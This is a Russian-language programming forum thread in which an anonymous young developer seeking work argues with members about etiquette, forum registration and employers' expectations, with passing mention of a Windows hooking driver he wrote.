Здравствуйте, FunnyRabbit, Вы писали:

FR>Уж не знаю каким пупом земли ты себя считаешь, но работодатели, к которым ты обращаешся, помимо оценки твоих знаний оценивают еще, и по моему это не менее важно, умение работать в коллективе, умение выдерживать критику, умение быть толлерантным. Так что если ты ищешь справедливости и уважительного отноошения к себе, то относись справедливо и с уважением к другим. Особенно если у этих людей профессиональный и жизненный опыт более твоего. Тебе никто не хамит и никто не оскорбляет, а просто пытаются указать на некоторые ошибки в поведении.

Нет, не пуп я земли. И в коллективе я работать умею. И критику вашу я выдержал, ибо она ничего не стоит, я уже говорил, что кроме критикования моего email да icq nick, остальное было только выяснение "кто кому нахамил". Я всегда говорил и говорю — я никогда не начинаю первым. Если докапываться до истинны — посмотрите вот этот пост, с него всё началось. Что, я разве здесь первый начал? Нет. Человек сказал кучу глупостей, и получил отпор. После такого общения я не буду проявлять уважения к человеку, не заслужил он. Если человек что-то скажет по делу, тогда и я отвечу по делу. Если человек скажет что-то смешное или доброжелательное, я отвечу тем же. Но когда человек настроен ко мне недоброжелательно, то я не понимаю: с чего бы это? Соответственная и реакция. Ну не буду же я ему говорить: "о человек, ты не ведаешь что творишь, умерь свои стихии! ибо не простит господь тебе...", я отвечу в его же тоне. Посмотрите первый пост-ответ от Unhandled_Exception — совершенно нормальный пост, и естественно моя реакция нормальная. Всё закономерно. Не ищите проблемы во мне.

А>Вы все, кто здесь отписался, все не правы. Я устал вам это доказывать. Объясню последний раз.

эта пять! зачот!
по ходу чувак просто прикалывается. решил повеселиться в серъёзном форуме. и ему это удалось! )

Здравствуйте, Аноним, Вы писали:

А> по ходу чувак просто прикалывается. решил повеселиться в серъёзном форуме. и ему это удалось! )

Да, конечно, очень серьёзный форум. Просто жутко серьёзный форум... С ужасно серьёзными дядями... ))))) Да не смешите.
Нет, вообще-то я не прикалываюсь. Хотя со стороны наверно так может показатся...
Ну что ж, по крайне мере, если я не найду здесь работу, всё равно будет хоть какая-то польза, — люди посмеются.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FunnyRabbit, Вы писали:

FR>>Уж не знаю каким пупом земли ты себя считаешь, но работодатели, к которым ты обращаешся, помимо оценки твоих знаний оценивают еще, и по моему это не менее важно, умение работать в коллективе, умение выдерживать критику, умение быть толлерантным. Так что если ты ищешь справедливости и уважительного отноошения к себе, то относись справедливо и с уважением к другим. Особенно если у этих людей профессиональный и жизненный опыт более твоего. Тебе никто не хамит и никто не оскорбляет, а просто пытаются указать на некоторые ошибки в поведении.

А>Нет, не пуп я земли. И в коллективе я работать умею. И критику вашу я выдержал, ибо она ничего не стоит, я уже говорил, что кроме критикования моего email да icq nick, остальное было только выяснение "кто кому нахамил". Я всегда говорил и говорю — я никогда не начинаю первым. Если докапываться до истинны — посмотрите вот этот пост, с него всё началось. Что, я разве здесь первый начал? Нет. Человек сказал кучу глупостей, и получил отпор. После такого общения я не буду проявлять уважения к человеку, не заслужил он. Если человек что-то скажет по делу, тогда и я отвечу по делу. Если человек скажет что-то смешное или доброжелательное, я отвечу тем же. Но когда человек настроен ко мне недоброжелательно, то я не понимаю: с чего бы это? Соответственная и реакция. Ну не буду же я ему говорить: "о человек, ты не ведаешь что творишь, умерь свои стихии! ибо не простит господь тебе...", я отвечу в его же тоне. Посмотрите первый пост-ответ от Unhandled_Exception — совершенно нормальный пост, и естественно моя реакция нормальная. Всё закономерно. Не ищите проблемы во мне.

Просто ты, как человек ищущий работу и заинтересованный в ней мог промолчать. Если человек не прав, другие это поймут и сами. Не надо ничего никому доказывать, особенно так яро. А вот работодатели в случае, когда человек был не прав, а ты промолчал как умный человек, это обязательно оценят, как умение себя контролировать. В твоем случае ты пытаешся доказать другим, в чем их вина, а вовсе не увидеть свою, ибо любой конфликт, как правило, возникает по "взаимной договоренности". Или мог более тактично объяснить человеку в чем он не прав. Просто твои знания без умения ладить с людьми, которые подчас к тебе не доброжелательны, ничего не стоят. Представь ситуацию. Ты устроился на работу. В серьезную компанию.
1. Ты составляешь конкуренцию другим работникам. Почему они должны к тебе относится доброжелательно?
2. Всегда будут возникать по тем или иным причинам разногласия. Только в твоем случае работодатели не увидят человека, который может грамотно и тактично объяснить/доказать свою точку зрения. Кому нужен сотрудник, который каждый раз будет доводить все до маразма и обливаясь слюной, с пеной изо рта доказывать свою правоту?

ЗЫ: Будь терпимее, толлерантнее, спокойнее. Когда устроишся на работу вспомнишь мои слова. Сам обжигался на этом.

А>Нет, не пуп я земли. И в коллективе я работать умею. И критику вашу я выдержал, ибо она ничего не стоит, я уже говорил, что кроме критикования моего email да icq nick, остальное было только выяснение "кто кому нахамил". Я всегда говорил и говорю — я никогда не начинаю первым. Если докапываться до истинны — посмотрите вот этот пост, с него всё началось. Что, я разве здесь первый начал? Нет. Человек сказал кучу глупостей, и получил отпор. После такого общения я не буду проявлять уважения к человеку, не заслужил он. Если человек что-то скажет по делу, тогда и я отвечу по делу. Если человек скажет что-то смешное или доброжелательное, я отвечу тем же. Но когда человек настроен ко мне недоброжелательно, то я не понимаю: с чего бы это? Соответственная и реакция. Ну не буду же я ему говорить: "о человек, ты не ведаешь что творишь, умерь свои стихии! ибо не простит господь тебе...", я отвечу в его же тоне. Посмотрите первый пост-ответ от Unhandled_Exception — совершенно нормальный пост, и естественно моя реакция нормальная. Всё закономерно. Не ищите проблемы во мне.

Ваша естественная нормальная реакция не является таковой для большинства людей.

Сначала Вы просились куда-нибудь, теперь сетуете, что тут нет директоров банков, чтобы предложить Вам достойную работу в максимально вежливом тоне. Не скажу наверняка, но вроде бы как раз банки любят, чтобы у работников был соответствующий диплом и чтобы работник не проявлял некоторых на Ваш взгляд естественных реакций. Там еще и служба безопасности Вас проверит, да еще и не пропустит.

Очень странно — сами перечитайте всю ветку — это человек ищет какую-нибудь работу или супер гуру роется в нанимателях как свинья в апельсинах? Этот не так присел, этот код попросил показать, этот денег сразу не предложил, какое хамство

А на sql.ru такую же тему заведите, здешняя публика Вам потом покажется максимально вежливой

А может захочется и номер телефона сменить, чтобы потом никто не мог узнать, что Вы реальный автор этой темы.

На скольких была собеседованиях, ни разу никто из работодателей сам сумму не назвал, все сначала спрашивают, сколько я хочу.

Сходите самостоятельно в пару-другую банков, раз тут директоров нет, и не забудьте о результатах своих побед доложить тут, чтобы все отписавшиеся поняли свою неправоту.

Здравствуйте, FunnyRabbit, Вы писали:

FR>Просто ты, как человек ищущий работу и заинтересованный в ней мог промолчать. Если человек не прав, другие это поймут и сами. Не надо ничего никому доказывать, особенно так яро. А вот работодатели в случае, когда человек был не прав, а ты промолчал как умный человек, это обязательно оценят, как умение себя контролировать. В твоем случае ты пытаешся доказать другим, в чем их вина, а вовсе не увидеть свою, ибо любой конфликт, как правило, возникает по "взаимной договоренности". Или мог более тактично объяснить человеку в чем он не прав. Просто твои знания без умения ладить с людьми, которые подчас к тебе не доброжелательны, ничего не стоят. Представь ситуацию. Ты устроился на работу. В серьезную компанию.
FR>1. Ты составляешь конкуренцию другим работникам. Почему они должны к тебе относится доброжелательно?
FR>2. Всегда будут возникать по тем или иным причинам разногласия. Только в твоем случае работодатели не увидят человека, который может грамотно и тактично объяснить/доказать свою точку зрения. Кому нужен сотрудник, который каждый раз будет доводить все до маразма и обливаясь слюной, с пеной изо рта доказывать свою правоту?

Знаете, вы в чём-то правы. Но не надо было вам писать "убей себя об стену" и т.п.

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FunnyRabbit, Вы писали:

FR>>Просто ты, как человек ищущий работу и заинтересованный в ней мог промолчать. Если человек не прав, другие это поймут и сами. Не надо ничего никому доказывать, особенно так яро. А вот работодатели в случае, когда человек был не прав, а ты промолчал как умный человек, это обязательно оценят, как умение себя контролировать. В твоем случае ты пытаешся доказать другим, в чем их вина, а вовсе не увидеть свою, ибо любой конфликт, как правило, возникает по "взаимной договоренности". Или мог более тактично объяснить человеку в чем он не прав. Просто твои знания без умения ладить с людьми, которые подчас к тебе не доброжелательны, ничего не стоят. Представь ситуацию. Ты устроился на работу. В серьезную компанию.
FR>>1. Ты составляешь конкуренцию другим работникам. Почему они должны к тебе относится доброжелательно?
FR>>2. Всегда будут возникать по тем или иным причинам разногласия. Только в твоем случае работодатели не увидят человека, который может грамотно и тактично объяснить/доказать свою точку зрения. Кому нужен сотрудник, который каждый раз будет доводить все до маразма и обливаясь слюной, с пеной изо рта доказывать свою правоту?

А>Знаете, вы в чём-то правы. Но не надо было вам писать "убей себя об стену" и т.п.

Справедливо.

Здравствуйте, FunnyRabbit, Вы писали:

А>>Знаете, вы в чём-то правы. Но не надо было вам писать "убей себя об стену" и т.п.

FR>Справедливо.

Ну вот, видите? Могут же договорится грамотные люди!

А>Да, конечно, очень серьёзный форум. Просто жутко серьёзный форум... С ужасно серьёзными дядями... ))))) Да не смешите.
А>Нет, вообще-то я не прикалываюсь. Хотя со стороны наверно так может показатся...
А>Ну что ж, по крайне мере, если я не найду здесь работу, всё равно будет хоть какая-то польза, — люди посмеются.
Почти две недели прошло с первого поста, никак не пойму, почему Вам так и не удалось зарегистрироваться на форуме и написать нормальное резюме?

Здравствуйте, notacat, Вы писали:

N>Почти две недели прошло с первого поста, никак не пойму

И не поймёте.

N>почему Вам так и не удалось зарегистрироваться на форуме

Я и не пытался.

N>и написать нормальное резюме?

Нормальное резюме у меня есть, но если вы заметили, его негде размещать на RSDN.
Резюме, чтобы вы знали, размещаются на таких сайтах, как job.ru, rabota.mail.ru и т.д.

Здравствуйте, Аноним, Вы писали:

N>>Почти две недели прошло с первого поста, никак не пойму
А>И не поймёте.
Грубовато...

N>>почему Вам так и не удалось зарегистрироваться на форуме
А>Я и не пытался.
Вы давно на этом форуме? Если да, то вполне возможно, ваши сообщения кому-то помогли решить какие-то проблемы. В вашей ситуации, это пойдет только в плюс. В любом случае, здесь не очень любят анонимов. Тем более, если те пытаются сделать себе имя слегка не традиционном способом.

N>>и написать нормальное резюме?

А>Нормальное резюме у меня есть, но если вы заметили, его негде размещать на RSDN.
А>Резюме, чтобы вы знали, размещаются на таких сайтах, как job.ru, rabota.mail.ru и т.д.
Вы серьезно? Блин, а мы и не знали. Дело в том, что здесь тусуются люди, которые могут максимально адекватно оценить ваш уровень. Я не работодатель. Но если я вижу на этом форуме человека, который будет полезен в команде, где я работаю, то сразу же пишу об этом в наш отдел кадров. И я вас уверяю, что остальные участники делают так же. Что вам мешает зарегистрироваться, выложить в свой профал резюме, а сюда кинуть ссылку на него? Мне кажется, что это самое оптимальное.
Надеюсь на понимание! Успехов!

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Аноним, Вы писали:

N>>>Почти две недели прошло с первого поста, никак не пойму
А>>И не поймёте.
LD>Грубовато...

Ничего подобного! Я ведь предупреждал, не пишите сюда ерунду всякую. Я просил писать сюда только работодателей. Я не в восторге, что из этой темы сделали балаган. Я уже подумываю завести новую...

N>>>почему Вам так и не удалось зарегистрироваться на форуме
А>>Я и не пытался.
LD>Вы давно на этом форуме? Если да, то вполне возможно, ваши сообщения кому-то помогли решить какие-то проблемы. В вашей ситуации, это пойдет только в плюс. В любом случае, здесь не очень любят анонимов. Тем более, если те пытаются сделать себе имя слегка не традиционном способом.

Не очень давно, около месяца-полтора наверно. Да, мои сообщения действительно помогли (по программированию) некоторым людям решить их проблемы. Да, возможно, это пошло бы мне в плюс, хотя тоже ещё бабушка на двое сказала... Однако, вы наверно слышали о существовании "непримиримого" анонима

Так вот это я. Регистрироваться не буду принципиально.
Я не пытаюсь сделать себе никакое имя, имя себе делают всякого рода поп-звёзды.
И меня как анонима не нужно любить, меня нужно уважать и только. Если бы здесь не терпели анонимов, их бы здесь и не было бы.
Кстати если когда-нибудь решат убрать отсюда всех анонимов... эх, значит я здесь больше не появлюсь, это будет великая потеря (это я уже иронизирую...)

А>>Нормальное резюме у меня есть, но если вы заметили, его негде размещать на RSDN.
А>>Резюме, чтобы вы знали, размещаются на таких сайтах, как job.ru, rabota.mail.ru и т.д.
LD>Вы серьезно? Блин, а мы и не знали. Дело в том, что здесь тусуются люди, которые могут максимально адекватно оценить ваш уровень. Я не работодатель. Но если я вижу на этом форуме человека, который будет полезен в команде, где я работаю, то сразу же пишу об этом в наш отдел кадров. И я вас уверяю, что остальные участники делают так же. Что вам мешает зарегистрироваться, выложить в свой профал резюме, а сюда кинуть ссылку на него? Мне кажется, что это самое оптимальное.

Я достаточно выложил сведений про себя в первом посте. Если кому будет очень интересно, они не поленятся и попросят выслать полное резюме. Что я и сделаю. Про регистрацию см. выше.

Здравствуйте, Аноним, Вы писали:

А>Ничего подобного! Я ведь предупреждал, не пишите сюда ерунду всякую. Я просил писать сюда только работодателей. Я не в восторге, что из этой темы сделали балаган. Я уже подумываю завести новую...

Я ведь уже объяснил вам, что почти все, кто есть на этом форуме, являются работодателями. Если вы думаете, что сюда придет Билл Гейтс или еще кто-нибудь из таких людей, то ошибаетесь.
Однако, вы наверно слышали о существовании "непримиримого" анонима

Так вот это я. Регистрироваться не буду принципиально.
А>Я не пытаюсь сделать себе никакое имя, имя себе делают всякого рода поп-звёзды.
Посмотрите на это сообщение: http://www.rsdn.ru/Forum/Message.aspx?mid=1966171&only=1
Там человек, имеющий определенный вес в форуме "Низкоуровневое программирование" ишет работу. Посмотрите, сколько человек сказало добрые слова в его адрес. Причем хочу сказать, что этот человек не поп-звезда, что бы вы не вкладывали в это понятие.

А>И меня как анонима не нужно любить, меня нужно уважать и только. Если бы здесь не терпели анонимов, их бы здесь и не было бы.
А>Кстати если когда-нибудь решат убрать отсюда всех анонимов... эх, значит я здесь больше не появлюсь, это будет великая потеря (это я уже иронизирую...)

[offtopic]
Мне кажется, стоит запретить Анонимам писать в этот форум.
[/offtopic]

А>Я достаточно выложил сведений про себя в первом посте. Если кому будет очень интересно, они не поленятся и попросят выслать полное резюме. Что я и сделаю. Про регистрацию см. выше.
Вы меня извините, но вы обычный кандидат. Такой же как и все. Только без опыта работы. Почему работодатели должны делать какое-то лишнее движение, для того, чтобы получить о вас информацию?

Здравствуйте, Lonely Dog, Вы писали:

А>>Я достаточно выложил сведений про себя в первом посте. Если кому будет очень интересно, они не поленятся и попросят выслать полное резюме. Что я и сделаю. Про регистрацию см. выше.
LD>Вы меня извините, но вы обычный кандидат. Такой же как и все. Только без опыта работы. Почему работодатели должны делать какое-то лишнее движение, для того, чтобы получить о вас информацию?

потому что этот парень сделает миллионы

и даст немного своему работодателю

если тот будет хорошо себя вести, конечно же

так что, в очередь, в очередь!

А>Ничего подобного! Я ведь предупреждал, не пишите сюда ерунду всякую. Я просил писать сюда только работодателей. Я не в восторге, что из этой темы сделали балаган. Я уже подумываю завести новую...
Две лучше, чем одна? Или новая будет чем-то отличаться?

А>Не очень давно, около месяца-полтора наверно. Да, мои сообщения действительно помогли (по программированию) некоторым людям решить их проблемы. Да, возможно, это пошло бы мне в плюс, хотя тоже ещё бабушка на двое сказала... Однако, вы наверно слышали о существовании "непримиримого" анонима

Так вот это я. Регистрироваться не буду принципиально.
А за что боремся? Либо стесняетесь подписаться под своими словами, либо просто непримиримость в чистом виде. Может Вам не в эту дверь, а в дверь для непризнанных гениев?

А>Я достаточно выложил сведений про себя в первом посте. Если кому будет очень интересно, они не поленятся и попросят выслать полное резюме. Что я и сделаю. Про регистрацию см. выше.
В первом посте Вы написали, что не можете выбрать себе ни одной вакансии, потому что обязательно чего-нибудь да не знаете. Думаете, кто-то сильно неленивый это за Вас сделает, да потом будет у Вас переспрашивать, не ошибся ли он?

Вашу бы энергию, да в мирных целях — уже бы работали на хорошем месте.

Здравствуйте, notacat, Вы писали:

N>Вашу бы энергию, да в мирных целях — уже бы работали на хорошем месте.

Да не будет он работать ни где. Чел тытается пропиарится. Но тупит до невозможности. Могу себе представить, да и тебе о великий аноним, поведать, что все работодатели истытывают только одно желание — чтоб ты заткнулся. И не засирал и без того засраный кадравыми агенствами форум.

Да пишу анонимно, не по тому, что исповедываю эту религию (регистрофобы), а по тому что хочу ругаться.

Ну дак вот, что я тебе скажу, аноним — мы работодатели ждем когда такие как ты нахлебаются .... по самые уши, этого особого кайфа затянувшегося поиска работы, до кондиции... И тогда видимо появится, нормальный зарегистрированный чел. Вежливый и покладистый, неконфликтный и понимающий своё место... Жалко только маму и папу, которые будут вынуждены кормить тебя все эти годы, пока ты не просветлишся...

Одним словом, афтар пеши исчё. Нам на твоем примере, очень популярно и наглядно обьясняется, вчерашним студентам, как остаться без работы.

Чесслово, очень долго терпел, очень долго говорил себе — не ломай парню судьбу, не затаптывай и пр. Но похоже это не тот случай. Так что даже не извиняюсь.

Здравствуйте, Аноним, Вы писали:

N>>Вашу бы энергию, да в мирных целях — уже бы работали на хорошем месте.

А>

Да не будет он работать ни где. Чел тытается пропиарится. Но тупит до невозможности. Могу себе представить, да и тебе о великий аноним, поведать, что все работодатели истытывают только одно желание — чтоб ты заткнулся. И не засирал и без того засраный кадравыми агенствами форум.

А>Да пишу анонимно, не по тому, что исповедываю эту религию (регистрофобы), а по тому что хочу ругаться.

А>Ну дак вот, что я тебе скажу, аноним — мы работодатели ждем когда такие как ты нахлебаются .... по самые уши, этого особого кайфа затянувшегося поиска работы, до кондиции... И тогда видимо появится, нормальный зарегистрированный чел. Вежливый и покладистый, неконфликтный и понимающий своё место... Жалко только маму и папу, которые будут вынуждены кормить тебя все эти годы, пока ты не просветлишся...

Я же говорил — очень злой народ здесь.

А>Чесслово, очень долго терпел, очень долго говорил себе — не ломай парню судьбу, не затаптывай и пр. Но похоже это не тот случай. Так что даже не извиняюсь.

Хм... А чем вы поломали мою судьбу? Тем что это всё написали? Честно говоря, этим вы мне не сделали плохо никак. Но меня удивляет другое. Ведь я вам плохого ничего ведь не делал, так? Зачем же вы меня грязью поливаете?

Здравствуйте, notacat, Вы писали:

А>>Ничего подобного! Я ведь предупреждал, не пишите сюда ерунду всякую. Я просил писать сюда только работодателей. Я не в восторге, что из этой темы сделали балаган. Я уже подумываю завести новую...
N>Две лучше, чем одна? Или новая будет чем-то отличаться?

Не знаю, не знаю, будет ли она отличаться... Здешний народ обосрёт что угодно...

N>А за что боремся? Либо стесняетесь подписаться под своими словами, либо просто непримиримость в чистом виде. Может Вам не в эту дверь, а в дверь для непризнанных гениев?

Дверь для непризнанных гениев — это дверь в дурку.
У меня есть на то свои причины.

А>>Я достаточно выложил сведений про себя в первом посте. Если кому будет очень интересно, они не поленятся и попросят выслать полное резюме. Что я и сделаю. Про регистрацию см. выше.
N>В первом посте Вы написали, что не можете выбрать себе ни одной вакансии, потому что обязательно чего-нибудь да не знаете. Думаете, кто-то сильно неленивый это за Вас сделает, да потом будет у Вас переспрашивать, не ошибся ли он?

Все работодатели видят краткое резюме на соответствующих сайтах. Если они хотят полное, они звонят и просят его выслать. Далее они звонят кандидату и просят подъехать на собеседование. И на первом же (максимум на втором) собеседовании они уже чётко говорят сколько человек будет получать, как работать ну и подходит ли он вообще или нет.
Это я сказал как должно быть. И ничего страшного в этом нет, вот вчера мне например позвонил один работодатель, попросил резюме и пример исходников. Я всё это ему выслал.
Мне уже заранее не нравятся работодатели, отступающие от этой схемы.

N>Вашу бы энергию, да в мирных целях — уже бы работали на хорошем месте.

ДА Я НИ С КЕМ И НЕ ВОЮЮ, ЕСЛИ НЕ ПОНЯЛИ ЕЩЁ
блин, да что такое!..

Здравствуйте, Lonely Dog, Вы писали:

LD>Посмотрите на это сообщение: http://www.rsdn.ru/Forum/Message.aspx?mid=1966171&only=1
LD>Там человек, имеющий определенный вес в форуме "Низкоуровневое программирование" ишет работу. Посмотрите, сколько человек сказало добрые слова в его адрес. Причем хочу сказать, что этот человек не поп-звезда, что бы вы не вкладывали в это понятие.

Человек уже долгое время здесь, у него много хороших знакомых.
Кстати, я не нашёл никакого резюме в его профайле.

А>>Я достаточно выложил сведений про себя в первом посте. Если кому будет очень интересно, они не поленятся и попросят выслать полное резюме. Что я и сделаю.
LD>Вы меня извините, но вы обычный кандидат. Такой же как и все. Только без опыта работы. Почему работодатели должны делать какое-то лишнее движение, для того, чтобы получить о вас информацию?

Схему действий работодателя я изложил чуть ниже в теме.

Здравствуйте, Аноним, Вы писали:

А>Я же говорил — очень злой народ здесь.

Не здесь народ, а он весь здесь.

А>>Чесслово, очень долго терпел, очень долго говорил себе — не ломай парню судьбу, не затаптывай и пр. Но похоже это не тот случай. Так что даже не извиняюсь.

А>Хм... А чем вы поломали мою судьбу? Тем что это всё написали? Честно говоря, этим вы мне не сделали плохо никак. Но меня удивляет другое. Ведь я вам плохого ничего ведь не делал, так? Зачем же вы меня грязью поливаете?

Ну плохо с логикой, перечитай еще раз, ключевое слово думал. Теперь не думаю, этим постом тебя не прошибешь. Надо ждать просветления.

Ты мне не делал, и я ведь тебе тоже не делаю... Ха-ха я просто мнение свое высказываю. Ты всем тут уже показал их место,

дал достойный отпор. Ты-ж работодателей хотел. Вот я тебе и работодатель, и я тебе квалифицированное заявляю. Ты никому не нужен. Ты ничего не умеешь. Ты туповат судя по всему. Ты конфликтен. Ты не адекватен.

Здравствуйте, Аноним, Вы писали:

А>Надо ждать просветления.

Ждите. Может пока будете ждать, кто-нибудь уже возьмёт меня на работу.

А>Ты всем тут уже показал их место,

дал достойный отпор.

А>Ты-ж работодателей хотел. Вот я тебе и работодатель,

Вы — странный работодатель, грубый какой-то, хотя взрослый дядя наверно. Вместо того, чтобы как обычно пригласить человека (меня) на собеседование, вы говорите гадости.

А>Ты никому не нужен.

Хм... пока сказали об этом только вы один

А>Ты ничего не умеешь

Да-а-а-а-а-а-а??? Совсем ничего? Совсем-совсем?

А>Ты туповат судя по всему

Ну бывают у меня моменты затмения когда не могу понять какой именно метод мне нужно вызвать в том или ином алгоритме

, но это не у меня одного наверно...

А>Ты конфликтен.

Нет. С нормальными людьми — нет.

А>Ты не адекватен.

Я адекватно отношусь к предложениям о работе.
А адекватно относится к гадостям — это как? молчать? да наверно, нужно молчать...

Здравствуйте, Аноним, Вы писали:

Кстати, вас тоже хочу попросить не писать больше в этой теме. Ибо из вас сыпятся гадости одни.

P.S. Люди! Ну надо же так было засрать мою ветку!.. Вот вы напишете что-нибудь не по делу, или что-нибудь обидное, я естественно отвечу тем же, а потом работодатели думают, что я и хам и грубиян и конфликтный и т.д. и т.п. Так не пишите сюда всякую ерунду! Чтобы мне не пришлось вам отвечать.

up! 10

Вот уже до десятки дошёл... Юбилей, аднака.

Здравствуйте, <Аноним>, Вы писали:
А>up! 10
А>Вот уже до десятки дошёл... Юбилей, аднака.
До 666 дойти есть все шансы.

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Dziman, Вы писали:

D>До 666 дойти есть все шансы.

Знаю, а что делать... Работодатель нынче не тот пошёл, ох не тот...

Здравствуйте, Аноним, Вы писали:

А>>>Зажрался ты, друг!
А>>Посущественнее вы ничего не смогли из себя выдавить?

А>А чего ж существеннее? Кричать на весь мир, как ты хочешь работать, а потом отказываться от предлагаемой работы — как это еще назвать? Да еще по таким смехотворным поводам.

Это был элементарный развод, а не предложение. Это же очевидно.

Здравствуйте, <Аноним>, Вы писали:
А>Здравствуйте, Аноним, Вы писали:
А>>>>Зажрался ты, друг!
А>>>Посущественнее вы ничего не смогли из себя выдавить?
А>>А чего ж существеннее? Кричать на весь мир, как ты хочешь работать, а потом отказываться от предлагаемой работы — как это еще назвать? Да еще по таким смехотворным поводам.
А>Это был элементарный развод, а не предложение. Это же очевидно.
Скорее наоборот — очевидно, что не развод. Ты за сколько времени написал этот драйвер?

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Dziman, Вы писали:

А>>Это был элементарный развод, а не предложение. Это же очевидно.
D>Скорее наоборот — очевидно, что не развод. Ты за сколько времени написал этот драйвер?

Основное — в сумме около 3х недель, наверно.
А дальше только наворачивал всякие штучки да правил баги...

Здравствуйте, <Аноним>, Вы писали:

А>Основное — в сумме около 3х недель, наверно.
По часу в день? Или как?
А>А дальше только наворачивал всякие штучки да правил баги...
Это я к чему спрашиваю — иногда легче самому написать все с нуля, чем разбираться в чужом коде + можно было бы реализацию основных рабочих методов не посылать.

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Dziman, Вы писали:

D>Здравствуйте, <Аноним>, Вы писали:

А>>Основное — в сумме около 3х недель, наверно.
D>По часу в день? Или как?

Нет, по 5-6 часов в день...
По поводу этого драйвера такие дискуссии поднимались в форуме "Низкоуровневое программирование", аж жуть просто...
Например, вот эта тема сделана фактически из-за меня

А>>А дальше только наворачивал всякие штучки да правил баги...
D>Это я к чему спрашиваю — иногда легче самому написать все с нуля, чем разбираться в чужом коде

Мотивы халявщиков мне никогда не были понятны.
Кстати, я тут одному знакомому показал эту же переписку, так он не задумываясь сказал, что это развод. А он ушлый человек в этом

И ещё: код у меня очень простой, понятный и грамотный, — это отличительные черты моего стиля.

D>можно было бы реализацию основных рабочих методов не посылать.
Ну так а что останется тогда? тогда и смотреть нечего...

Здравствуйте, Аноним, Вы писали:

А>Нет, по 5-6 часов в день...
А>По поводу этого драйвера такие дискуссии поднимались в форуме "Низкоуровневое программирование", аж жуть просто...
А>Например, вот эта тема сделана фактически из-за меня

И вы решили все-таки сделать через хуки?
И что вы там хучили? Если работу с файлами, то это IMHO не драйвер а поделка.
Если что-то другое, то тестировалось ли это на многопроцессорных машинах?

A> И ещё: код у меня очень простой, понятный и грамотный, — это отличительные черты моего стиля.
Когда люди так говорят, это внушает озабоченность. Человек не может быть доволен своим кодом. Всегда есть что поправить, улучшить и пр.

Здравствуйте, <Аноним>, Вы писали:

А>И ещё: код у меня очень простой, понятный и грамотный, — это отличительные черты моего стиля.
И как это можно понять? Это не твое

?
D>>можно было бы реализацию основных рабочих методов не посылать.
А>Ну так а что останется тогда? тогда и смотреть нечего...
Стиль написание, архитектуру и т.п.

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Аноним, Вы писали:

А>Знаю, а что делать... Работодатель нынче не тот пошёл, ох не тот...

В 21 и без опыта нормальной работы. Еще и со склочным характером. Мда, соискатель нынче не тот пошел, ох не тот.

Здравствуйте, хамоватый Аноним,
О банках рекомендую Вам забыть. Ибо в более-менее серьезных банках служба безопасности
проверяет серьезно, А Вы тут оставили свой телефон, по которому вас вычислить элементарно,
Это даже если вы поумнеете и пройдете техническое собеседование

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, Lonely Dog, Вы писали:

А>>>Я достаточно выложил сведений про себя в первом посте. Если кому будет очень интересно, они не поленятся и попросят выслать полное резюме. Что я и сделаю. Про регистрацию см. выше.
LD>>Вы меня извините, но вы обычный кандидат. Такой же как и все. Только без опыта работы. Почему работодатели должны делать какое-то лишнее движение, для того, чтобы получить о вас информацию?

U_E>потому что этот парень сделает миллионы

и даст немного своему работодателю

если тот будет хорошо себя вести, конечно же

так что, в очередь, в очередь!

Э, чуваааааааак.
Это не честно.

Какая нафиг очередь.

Я тоже хочу пару лямов.

Здравствуйте, Lonely Dog, Вы писали:

LD>И вы решили все-таки сделать через хуки?

Да, через хуки.

LD>И что вы там хучили? Если работу с файлами, то это IMHO не драйвер а поделка.

Хучил всё подряд: и файловую систему, и реестр, и процессы...
Извините, но работет очень слажено. На всех версиях Windows от NT до 2003. Поддержку Vista пока ещё не добавлял — нет необходимости.
Да, я до сих пор остаюсь при своём — хуки rulezzz. Не надо мне говорить о недостатках этого метода, я о них знаю. И вы тоже должны понимать, что других способов для NT..2003 не существует. Только в Vista я слышал есть специальные API ядра для антивирусов, сокетов и пр.

A>> И ещё: код у меня очень простой, понятный и грамотный, — это отличительные черты моего стиля.
LD>Когда люди так говорят, это внушает озабоченность. Человек не может быть доволен своим кодом. Всегда есть что поправить, улучшить и пр.

Простоту и понятность своего кода мне улучшать не надо — эти вещи у меня на высоте.
Что касается грамотности — когда код критический, я занимаюсь оптимизацией. Когда нет — пишу стандартными способами, без наворотов.
Мне есть что улучшать только если необходимо что-то улучшать в каком-нибудь критическом алгоритме, например.

Здравствуйте, Dziman, Вы писали:

А>>И ещё: код у меня очень простой, понятный и грамотный, — это отличительные черты моего стиля.
D>И как это можно понять? Это не твое

?

Извините, но не надо так больше, ладно? У смешного есть свои пределы.

Здравствуйте, <Аноним>, Вы писали:
А>Извините, но не надо так больше, ладно? У смешного есть свои пределы.
Был бы зарегистрирован — меньше шансов получить такое сопоставление.

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, хамоватый Аноним,
А>О банках рекомендую Вам забыть. Ибо в более-менее серьезных банках служба безопасности
А>проверяет серьезно, А Вы тут оставили свой телефон, по которому вас вычислить элементарно,

Я ни от кого не прячусь. И не могу себе даже представить, зачем я могу понадобится службе безопасности

А>Это даже если вы поумнеете и пройдете техническое собеседование

В общем, смысл этого поста я не догнал

Здравствуйте, Lonely Dog, Вы писали:

U_E>>потому что этот парень сделает миллионы

и даст немного своему работодателю

если тот будет хорошо себя вести, конечно же

так что, в очередь, в очередь!

LD>Э, чуваааааааак.
LD>Это не честно.

LD>Какая нафиг очередь.

LD>Я тоже хочу пару лямов.

Брат, я ему первый написал

Так что первая пара лямов мои

И, вообще, скажи, чтобы за тобой не занимали

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>В 21 и без опыта нормальной работы. Еще и со склочным характером. Мда, соискатель нынче не тот пошел, ох не тот.

А какой у человека в 21 год может быть коммерческий опыт?
Это он должен наверно тогда в 18 начать кодить уже на какую-нибудь фирму, где вы такое видели?

Да нормальный характер, по-моему; никто из моих знакомых не жалуется

Здравствуйте, Аноним, Вы писали:

